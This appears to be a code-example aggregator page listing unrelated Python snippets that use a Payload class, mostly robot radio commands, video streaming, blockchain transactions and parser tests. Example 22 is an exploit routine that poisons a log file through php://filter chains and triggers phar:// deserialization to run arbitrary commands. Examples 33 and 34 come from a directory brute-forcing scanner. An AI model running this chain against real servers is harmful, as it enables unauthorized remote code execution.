Exemplo n.º 1
0
 def _streamVideo(self, device):
     frame_index = 1
     fps = 0
     counter = 0
     cap = cv2.VideoCapture(self.videosource)
     cap.set(3, self.width)
     cap.set(4, self.height)
     cap.set(5, self.frame)
     payload = Payload(device, self.width, self.height)
     start_time = time.time()
     try:
         while True:
             _, image = cap.read()
             payload.setPayloadParam(time.time(), image, frame_index)
             self.pub_socket.send(payload.get())
             seconds = time.time() - start_time
             if seconds > 1:
                 fps = counter
                 counter = 0
                 start_time = time.time()
             outstr = "Frames: {}, FPS: {}".format(frame_index, fps)
             sys.stdout.write('\r' + outstr)
             counter = counter + 1
             frame_index = frame_index + 1
     except (KeyboardInterrupt, SystemExit):
         print('Exit due to keyboard interrupt')
     except Exception as ex:
         print('Python error with no Exception handler:')
         print('Traceback error:', ex)
         traceback.print_exc()
     finally:
         cap.release()
         sys.exit(0)
Exemplo n.º 2
0
def main():
    region = "Winterthur"
    payload_winterthur = Payload()
    winterthur_code = get_region_codes(region)
    payload_winterthur.change_region(winterthur_code)
    for link in retreive_links(payload_winterthur.payload):
        parse_link(link, region)
Exemplo n.º 3
0
    def __init__(self, handler):
        super(Vehicle, self).__init__(handler)

        self.payload1 = Payload()
        self.payload2 = Payload()
        self.payload3 = Payload()
        self.payload4 = Payload()
Exemplo n.º 4
0
 def processPacket(self, packet):
     
     # Don't process packets if coordinator function halted
     self.accessLock.acquire()
     if self._running == False:
         self.accessLock.release()
         return
     self.accessLock.release()
     
     type = packet['id']
     
     if type == 'rx_long_addr':
         #print "RX Long Addr type packet received."
         addr_data = (packet.get('source_addr'))[0:8]
         addr = unpack('>Q', addr_data)
         pld = Payload(packet.get('rf_data'))
         self._handleRx(addr, pld)
     
     elif type == 'rx':
         #print "RX type packet received."
         addr_data = (packet.get('source_addr'))[0:2]
         addr = unpack('>H', addr_data)
         pld = Payload(packet.get('rf_data'))
         self._handleRx(addr, pld)
     
     elif type == 'rx_io_data_long_addr':
         #print "RX IO Data Long Addr type packet received."
         addr_data = (packet.get('source_addr'))[0:2]
         addr = unpack('>Q', addr_data)
         self._handleOther(packet)
     
     elif type == 'rx_io_data':
         addr_data = (packet.get('source_addr'))[0:2]
         addr = unpack('>H', addr_data)
         pld = Payload(packet.get('rf_data'))
         addr = unpack('H', pld.data)
         self._handleOther(packet)
     
     elif type == 'tx_status':
         #print "TX Status type packet received."
         self._handleOther(packet)
     
     elif type == 'status':
         #print "Status type packet received."
         self._handleOther(packet)
     
     elif type == 'at_response':
         #print "AT Response type packet received."
         self._handleOther(packet)
     
     elif type == 'remote_at_response':
         #print "Remote AT Response type packet received."
         self._handleOther(packet)
         
     else:
         pass
Exemplo n.º 5
0
 def __init__(self, pub_socket, device, resolution, backend):
     self.backend = backend
     self.newpayload = False
     self.frame = None
     self.frame_index = 1
     self.monotonic = 0
     self.pub_socket = pub_socket
     self._stop = False
     self._thread = threading.Thread(target=self._run, args=())
     self._thread.daemon = True
     self._thread.start()
     self.payload = Payload(device, resolution[0], resolution[1], "gray")
Exemplo n.º 6
0
    def apply(self, transaction, context):
        fprint('=== come to apply ===')
        header = transaction.header
        payload = Payload(transaction.payload)
        state = State(context)

        _validate_timestamp(payload.timestamp)
        fprint('=== payload.action ===')
        fprint(payload.data)

        if payload.action == payload_pb2.SupplyPayload.CREATE_AGENT:
            _create_agent(
                state=state,
                public_key=header.signer_public_key,
                payload=payload
            )
        elif payload.action == payload_pb2.SupplyPayload.CREATE_ITEM:
            _create_item(
                state=state,
                public_key=header.signer_public_key,
                payload=payload)
        elif payload.action == payload_pb2.SupplyPayload.UPDATE_ITEM:
            _update_item(
                state=state,
                public_key=header.signer_public_key,
                payload=payload)
        elif payload.action == payload_pb2.SupplyPayload.TRANFER_ITEM:
            _tranfer_item(
                state=state,
                public_key=header.signer_public_key,
                payload=payload)
        else:
            raise InvalidTransaction('Unhandled action')
Exemplo n.º 7
0
 def sendDirectory(self):
     print "Broadcasting directory"
     data_strings = []
     keySet = self.clients.keys()
     data_pack = ''
     bytes = 0
     
     for key in keySet:
         entry = self.clients[key]
         if entry['Status'] != 'Assigned':
             continue            
         new_data = pack('QLH', entry['UUID'], entry['Timestamp'], entry['Address'])                
         print "Packing: " + str(entry['UUID']) + "\t" + hex(entry['Address']) + "\t" + str(entry['Timestamp'])
         data_pack = data_pack + new_data
         bytes = bytes + len(new_data)
         # If the next pack would cause packet to exceed size, delimit 
         if bytes + len(new_data) > 100:
             data_strings.append(data_pack)
             data_pack = ''
             bytes = 0
     
     # Catch undelimited data
     if bytes != 0:
         data_strings.append(data_pack)
         
     # Send all data
     for data in data_strings:
         print "Sending directory update packet..."
         pld = Payload(data = data, status = 0, type = Commands['DIR_UPDATE_RESPONSE'])
         self.tx_callback(dest = BROADCAST_ADDRESS, packet = str(pld))
Exemplo n.º 8
0
    def processPacket(self, packet):
        pld = Payload(packet.get('rf_data'))
        type = pld.type
        data = pld.data
        status = pld.status

        if type == Commands['RAW_FRAME_RESPONSE']:
            data_flag = str(self.block_size) + 'B'
            raw = unpack('HHH' + data_flag, data)

            frame_num = raw[0]
            row = raw[1] * self.hardware_row_subsample
            col = raw[2]
            pixels = raw[3::]

            #print "Received row: " + str(row) + " col: " + str(col)

            self.writeBlock(row, col, pixels)

        elif type == Commands['CENTROID_REPORT']:
            raw = unpack('4H2B', data)
            self.mergeImages()
            self.drawCentroid(raw[0:2])
            self.drawMax(raw[2:4])
            print "Max lum: " + str(raw[4]) + " avg: " + str(raw[5])
            self.updateImage()
            self.displayFrameRate()

        else:
            print "Invalid command: " + str(type)
Exemplo n.º 9
0
    def testParseBytesToBytes(self):
        # b'DB\x04\x00\x00\x00\x00\x00\x00\x00ABCD1997'
        parser = Parser(BYTES_ENCODED)
        parser_test_function(self,
                             parser=parser,
                             code="D",
                             dtype="B",
                             length=4,
                             payload=b'ABCD',
                             remaining=0)

        head = Head(code=parser.code,
                    dtype=parser.dtype,
                    length=parser.length,
                    remaining=parser.remaining)
        head_test_function(self,
                           head=head,
                           code="D",
                           dtype="B",
                           length=4,
                           remaining=0)

        payload = Payload(data=parser.payload,
                          dtype=parser.dtype,
                          length=parser.length)
        payload_test_function(self,
                              payload=payload,
                              data=b'ABCD',
                              dtype="B",
                              length=4)
Exemplo n.º 10
0
    def testParseBytesToInt(self):
        parser = Parser(INT_ENCODED)
        parser_test_function(self,
                             parser=parser,
                             code="D",
                             dtype="I",
                             length=2,
                             payload=257,
                             remaining=256)

        head = Head(code=parser.code,
                    dtype=parser.dtype,
                    length=parser.length,
                    remaining=parser.remaining)
        head_test_function(self,
                           head=head,
                           code="D",
                           dtype="I",
                           length=2,
                           remaining=256)

        payload = Payload(data=parser.payload,
                          dtype=parser.dtype,
                          length=parser.length)
        payload_test_function(self,
                              payload=payload,
                              data=257,
                              dtype="I",
                              length=2)
Exemplo n.º 11
0
    def testParseBytesToStr(self):
        # b'DS\x04\x00\x00\x00\x00\x00\x00\x00ABCD1997'
        parser = Parser(data=STR_ENCODED)
        parser_test_function(self,
                             parser=parser,
                             code="D",
                             dtype="S",
                             length=4,
                             payload="ABCD",
                             remaining=0)

        head = Head(code=parser.code,
                    dtype=parser.dtype,
                    length=parser.length,
                    remaining=parser.remaining)
        head_test_function(self,
                           head=head,
                           code="D",
                           dtype="S",
                           length=4,
                           remaining=0)

        payload = Payload(data=parser.payload,
                          dtype=parser.dtype,
                          length=parser.length)
        payload_test_function(self,
                              payload=payload,
                              data="ABCD",
                              dtype="S",
                              length=4)
Exemplo n.º 12
0
 def testParseHandshakeToBytes(self):
     parser = Parser(HANDSHAKE_ENCODED)
     parser_test_function(self,
                          parser=parser,
                          code="H",
                          dtype="B",
                          length=0,
                          payload=b"",
                          remaining=0)
     head = Head(code=parser.code,
                 dtype=parser.dtype,
                 length=parser.length,
                 remaining=parser.remaining)
     head_test_function(self,
                        head=head,
                        code="H",
                        dtype="B",
                        length=0,
                        remaining=0)
     payload = Payload(data=parser.payload,
                       dtype=parser.dtype,
                       length=parser.length)
     payload_test_function(self,
                           payload=payload,
                           data=b"",
                           dtype="B",
                           length=0)
Exemplo n.º 13
0
 def setRemoteControlValues(self, thrust, steer, elevator):
     data_pack = pack('3f', thrust, steer, elevator)
     if self.debugPrint:
         print "Setting RC values to thrust: " + str(thrust) + "\tsteer: " + str(steer) + \
                 "\televator: " + str(elevator)
     pld = Payload(data=data_pack, status=0, type=Commands['SET_RC_VALUES'])
     self.tx_callback(dest=self.endpoint_addr, packet=str(pld))
Exemplo n.º 14
0
 def write(self, raw_payload, who=None):
     """Writes payload to the _current_payload_out which is
     automatically transferred once the client requests the size of
     the payload.
     """
     with self._next_payload_lock:
         self._next_payload_out = Payload(raw_payload)
Exemplo n.º 15
0
 def setBackgroundFrame(self):
     data_pack = pack('L', 0)
     if self.debugPrint:
         print "Capturing and setting background frame."
     pld = Payload(data=data_pack,
                   status=0,
                   type=Commands['SET_BACKGROUND_FRAME'])
     self.tx_callback(dest=self.endpoint_addr, packet=str(pld))
Exemplo n.º 16
0
 def requestRawFrame(self):
     data_pack = pack('L', 0)
     if self.debugPrint:
         print "Requesting raw frame."
     pld = Payload(data=data_pack,
                   status=0,
                   type=Commands['RAW_FRAME_REQUEST'])
     self.tx_callback(dest=self.endpoint_addr, packet=str(pld))
Exemplo n.º 17
0
 def requestCamParams(self):
     data_pack = pack('H', 0)
     if self.debugPrint:
         print "Requesting camera parameters..."
     pld = Payload(data=data_pack,
                   status=0,
                   type=Commands['CAM_PARAM_REQUEST'])
     self.tx_callback(dest=self.endpoint_addr, packet=str(pld))
Exemplo n.º 18
0
 def getGyroCalibParam(self):
     data_pack = pack('H', 0)
     if self.debugPrint:
         print "Requesting gyro offsets..."
     pld = Payload(data=data_pack,
                   status=0,
                   type=Commands['GET_GYRO_CALIB_PARAM'])
     self.tx_callback(dest=self.endpoint_addr, packet=str(pld))
Exemplo n.º 19
0
 def setTelemetrySubsample(self, period):
     data_pack = pack('H', period)
     if self.debugPrint:
         print "Setting telemetry subsample period to " + str(period)
     pld = Payload(data=data_pack,
                   status=0,
                   type=Commands['SET_TELEM_SUBSAMPLE'])
     self.tx_callback(dest=self.endpoint_addr, packet=str(pld))
Exemplo n.º 20
0
 def requestAttitude(self):
     data_pack = pack('H', 0)
     if self.debugPrint:
         print "Requesting attitude."
     pld = Payload(data=data_pack,
                   status=0,
                   type=Commands['REQUEST_ATTITUDE'])
     self.tx_callback(dest=self.endpoint_addr, packet=str(pld))
Exemplo n.º 21
0
 def setSlewLimit(self, limit):
     data_pack = pack('f', limit)
     if self.debugPrint:
         print "Setting slew rate limit to: " + str(limit) + " radians/sec."
     pld = Payload(data=data_pack,
                   status=0,
                   type=Commands['SET_SLEW_LIMIT'])
     self.tx_callback(dest=self.endpoint_addr, packet=str(pld))
Exemplo n.º 22
0
 def run(self, command):
     padding = 0
     self.clearLog(
         f'php://filter/write=convert.base64-decode|convert.base64-decode|convert.base64-decode/resource={self.logpath}'
     )
     self.do_post(f'AA')
     self.do_post(Payload.generate(cmd=command, padding=padding))
     while (not self.convert(
             f'php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource={self.logpath}'
     )):
         self.clearLog(
             f'php://filter/write=convert.base64-decode|convert.base64-decode|convert.base64-decode/resource={self.logpath}'
         )
         self.do_post(f'AA')
         padding += 1
         self.do_post(Payload.generate(cmd=command, padding=padding))
     return self.exploit(f'phar://{self.logpath}')
Exemplo n.º 23
0
 def requestDirDump(self, addr, pan):
     data_pack = pack('HH', addr, pan)
     if self.debugPrint:
         print "Requesting directory dump of: " + str(addr) + " " + str(pan)
     pld = Payload(data=data_pack,
                   status=0,
                   type=Commands['DIR_DUMP_REQUEST'])
     self.tx_callback(dest=self.endpoint_addr, packet=str(pld))
Exemplo n.º 24
0
 def setRegulatorMode(self, flag):
     data_pack = pack('B', flag)
     if self.debugPrint:
         print "Setting regulator state to " + str(flag)
     pld = Payload(data=data_pack,
                   status=0,
                   type=Commands['SET_REGULATOR_MODE'])
     self.tx_callback(dest=self.endpoint_addr, packet=str(pld))
Exemplo n.º 25
0
 def requestTelemetry(self):
     data_pack = pack('L', 0)
     if self.debugPrint:
         print "Requesting telemetry."
     pld = Payload(data=data_pack,
                   status=0,
                   type=Commands['REQUEST_TELEMETRY'])
     self.tx_callback(dest=self.endpoint_addr, packet=str(pld))
Exemplo n.º 26
0
 def setEstimateRunning(self, mode):
     data_pack = pack('B', mode)
     if self.debugPrint:
         print "Setting pose estimation mode to: " + str(mode)
     pld = Payload(data=data_pack,
                   status=0,
                   type=Commands['SET_ESTIMATE_RUNNING'])
     self.tx_callback(dest=self.endpoint_addr, packet=str(pld))
Exemplo n.º 27
0
 def setRegulatorRateFilter(self, filter_coeffs):
     data_pack = pack('2H8f', *filter_coeffs)
     if self.debugPrint:
         print "Setting filter coefficients of " + str(filter_coeffs)
     pld = Payload(data=data_pack,
                   status=0,
                   type=Commands['SET_REGULATOR_RATE_FILTER'])
     self.tx_callback(dest=self.endpoint_addr, packet=str(pld))
Exemplo n.º 28
0
 def setRegulatorRef(self, ref):
     data_pack = pack(4 * 'f', *ref)
     #if self.debugPrint:
     #print "Setting quaternion reference to: " + str(ref)
     pld = Payload(data=data_pack,
                   status=0,
                   type=Commands['SET_REGULATOR_REF'])
     self.tx_callback(dest=self.endpoint_addr, packet=str(pld))
Exemplo n.º 29
0
 def setRegulatorOffsets(self, offsets):
     data_pack = pack(3 * 'f', *offsets)
     #if self.debugPrint:
     # print "Setting offsets to: " + str(offsets)
     pld = Payload(data=data_pack,
                   status=0,
                   type=Commands['SET_REGULATOR_OFFSETS'])
     self.tx_callback(dest=self.endpoint_addr, packet=str(pld))
Exemplo n.º 30
0
 def requestDumpData(self, start_page, end_page, tx_size):
     data_pack = pack('3H', start_page, end_page, tx_size)
     if self.debugPrint:
         print "Requesting memory from page " + str(start_page) + " to " + str(end_page) +\
               ", " + str(tx_size) + " bytes at a time."
     pld = Payload(data=data_pack,
                   status=0,
                   type=Commands['GET_MEM_CONTENTS'])
     self.tx_callback(dest=self.endpoint_addr, packet=str(pld))
Exemplo n.º 31
0
poller = select.poll()
try:
    flags = fcntl.fcntl(surf.fileno(), fcntl.F_GETFL)
    flags += os.O_NONBLOCK
    #fcntl.fcntl(surf.fileno(), fcntl.F_SETFL, flags)
except IOError, e:
    print e

# Keep from out-running the cc430 by only allowing transmission to be
# this many frames ahead of reception.  Need at least one to kick off
# the session; for full duplex, add another couple to keep this end
# busy while we're receiving more.
tx_allowed = 1
if full_duplex:
    tx_allowed += 2
tx_payload = Payload()
outgoing = ''

timeout_ms = None
rx_count = 0
while True:
    if timeout_ms is None:
        timeout_ms = 10000
    events = select.POLLIN
    if (0 == len(outgoing)) and (tx_payload is not None):
        if tx_allowed and (tx_payload.tx_id < repetitions):
            tx_payload.tx_id += 1
            outgoing += framer.framePacket(tx_payload.pack(frame_size))
            tx_allowed -= 1
            #print 'Outgoing len %d after queuing %s' % (len(outgoing), tx_payload)
    if 0 < len(outgoing):
Exemplo n.º 32
0
from tasks import *
import gearman
from pprint import pprint


gm_client = gearman.GearmanClient(['localhost:4730'])

def check_request_status(job_request):
    if job_request.complete:
        print "Job %s finished!  Result: %s - %s" % (job_request.job.unique, job_request.state, job_request.result)
    elif job_request.timed_out:
        print "Job %s timed out!" % job_request.unique
    elif job_request.state == JOB_UNKNOWN:
        print "Job %s connection failed!" % job_request.unique

payload = Payload()

pingtask = PingTask()
pingtask.host = "google.com"
payload.add_task(pingtask)

bashtask = BashTask()
bashtask.command = "ls"
payload.add_task(bashtask)

sshtask = SshTask()
sshtask.to_host = ""
sshtask.command = "cd /srv/www/htdocs; ls"
sshtask.username = ""
sshtask.password = ""
payload.add_task(sshtask)
Exemplo n.º 33
0
print ("Using payload: %s" % payload_filename)
print ("Using %s threads " % threads)


#
# Creating middle objects
#
#   - results: queue where visitors will store finished Tasks
#
#   - payload: queue where visitors will get Tasks to do
#
#   - manager: process who is responsible of storing results from results queue
#

payload = Payload(target, payload_filename)
payload.set_extensions(extension)
payload.set_banned_response_codes(banned_response_codes)
payload.set_content(content)
if uppercase:
    payload.set_uppercase()
payload_size = payload.get_length() * len(extension)
print ("Total requests %s  (%s / thread)" % (payload.get_length(), payload.get_length() / threads))

database_name = urlparse.urlparse(target).hostname
manager = DBManager(database_name)

#
# Starting Manager and Payload processes
#
Exemplo n.º 34
0
size_discriminator = args.size_discriminator

print("Using payload: %s" % payload_filename)
print("Spawning %s threads " % threads)

#
# Creating middle objects
#
# - results: queue where visitors will store finished Tasks
#
#   - payload: queue where visitors will get Tasks to do
#
#   - manager: process who is responsible of storing results from results queue
#

payload = Payload(target, payload_filename)
payload.set_extensions(extension)
payload.set_banned_response_codes(banned_response_codes)
payload.set_content(content)
payload.set_remove_slash(remove_slash)
if uppercase:
    payload.set_uppercase()
payload_size = payload.get_length() * len(payload.extensions)
print("Total requests %s  (aprox: %s / thread)" % (payload_size, payload_size / threads))

database_name = urlparse.urlparse(target).hostname
manager = DBManager(database_name)

#
# Starting Manager and Payload processes
#